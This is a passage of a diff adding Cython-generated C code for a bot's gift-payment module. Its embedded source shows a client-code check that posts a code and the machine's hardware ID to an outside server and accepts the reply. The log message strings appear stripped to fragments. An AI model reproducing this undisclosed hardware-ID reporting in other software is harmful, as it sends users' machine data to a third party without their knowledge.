"handlers/payments/gift.py":201 + * try: + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} # <<<<<<<<<<<<<< + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + * if response.status == 200: + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_CLIENT_CODE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_code_2, __pyx_t_1) < 0) __PYX_ERR(0, 201, __pyx_L16_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_hardware_id, __pyx_cur_scope->__pyx_v_hardware_id) < 0) __PYX_ERR(0, 201, __pyx_L16_error) + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_payload = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":202 + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: # <<<<<<<<<<<<<< + * if response.status == 200: + * data = await response.json() + */ + /*with:*/ { + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_post); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_json, __pyx_cur_scope->__pyx_v_payload) < 0) __PYX_ERR(0, 202, __pyx_L16_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__41, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_15 = __Pyx_PyObject_LookupSpecial(__pyx_t_2, __pyx_n_s_aexit); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_t_3 = __Pyx_PyObject_LookupSpecial(__pyx_t_2, __pyx_n_s_aenter); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L23_resume_from_await:; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_15); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L22_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 202, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_1); + } + __pyx_t_3 = __pyx_t_1; + __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + /*try:*/ { + { + __Pyx_ExceptionSave(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + /*try:*/ { + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_response = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":203 + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + * if response.status == 200: # <<<<<<<<<<<<<< + * data = await response.json() + * if data.get("status") == "success": + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_3, __pyx_int_200, 0xC8, 0)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 203, __pyx_L27_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":204 + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + * if response.status == 200: + * data = await response.json() # <<<<<<<<<<<<<< + * if data.get("status") == "success": + * logger.info(" !.") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 204, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L34_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_16 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_18); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 204, __pyx_L27_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 204, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_data = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":205 + * if response.status == 200: + * data = await response.json() + * if data.get("status") == "success": # <<<<<<<<<<<<<< + * logger.info(" !.") + * return True + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_n_u_status}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_success, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 205, __pyx_L27_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":206 + * data = await response.json() + * if data.get("status") == "success": + * logger.info(" !.") # <<<<<<<<<<<<<< + * return True + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__42}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 206, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":207 + * if data.get("status") == "success": + * logger.info(" !.") + * return True # <<<<<<<<<<<<<< + * else: + * logger.info(f": {data.get('message', ' .')}") + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); + goto __pyx_L31_try_return; + + /* "handlers/payments/gift.py":205 + * if response.status == 200: + * data = await response.json() + * if data.get("status") == "success": # <<<<<<<<<<<<<< + * logger.info(" !.") + * return True + */ + } + + /* "handlers/payments/gift.py":209 + * return True + * else: + * logger.info(f": {data.get('message', ' .')}") # <<<<<<<<<<<<<< + * return False + * else: + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__45, NULL); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u__43, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_11}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":210 + * else: + * logger.info(f": {data.get('message', ' .')}") + * return False # <<<<<<<<<<<<<< + * else: + * return False + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + goto __pyx_L31_try_return; + } + + /* "handlers/payments/gift.py":203 + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + * if response.status == 200: # <<<<<<<<<<<<<< + * data = await response.json() + * if data.get("status") == "success": + */ + } + + /* "handlers/payments/gift.py":212 + * return False + * else: + * return False # <<<<<<<<<<<<<< + * except Exception: + * return False + */ + /*else*/ { + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + goto __pyx_L31_try_return; + } + + /* "handlers/payments/gift.py":202 + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: # <<<<<<<<<<<<<< + * if response.status == 200: + * data = await response.json() + */ + } + __pyx_L27_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + /*except:*/ { + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_11) < 0) __PYX_ERR(0, 202, __pyx_L29_except_error) + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_1 = PyTuple_Pack(3, __pyx_t_3, __pyx_t_2, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L29_except_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_19 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_t_1, NULL); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 202, __pyx_L29_except_error) + __Pyx_GOTREF(__pyx_t_19); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_19); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_19); + __pyx_cur_scope->__pyx_t_14 = __pyx_t_19; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L39_resume_from_await:; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_16 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_19 = __pyx_cur_scope->__pyx_t_14; + __pyx_cur_scope->__pyx_t_14 = 0; + __Pyx_XGOTREF(__pyx_t_19); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L29_except_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 202, __pyx_L29_except_error) + __Pyx_GOTREF(__pyx_t_1); + } + __pyx_t_19 = __pyx_t_1; + __pyx_t_1 = 0; + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_19); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + if (__pyx_t_6 < 0) __PYX_ERR(0, 202, __pyx_L29_except_error) + __pyx_t_5 = (!__pyx_t_6); + if (unlikely(__pyx_t_5)) { + __Pyx_GIVEREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ErrRestoreWithState(__pyx_t_3, __pyx_t_2, __pyx_t_11); + __pyx_t_3 = 0; __pyx_t_2 = 0; __pyx_t_11 = 0; + __PYX_ERR(0, 202, __pyx_L29_except_error) + } + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L28_exception_handled; + } + __pyx_L29_except_error:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + goto __pyx_L16_error; + __pyx_L31_try_return:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + goto __pyx_L24_return; + __pyx_L28_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + } + } + /*finally:*/ { + /*normal exit:*/{ + if 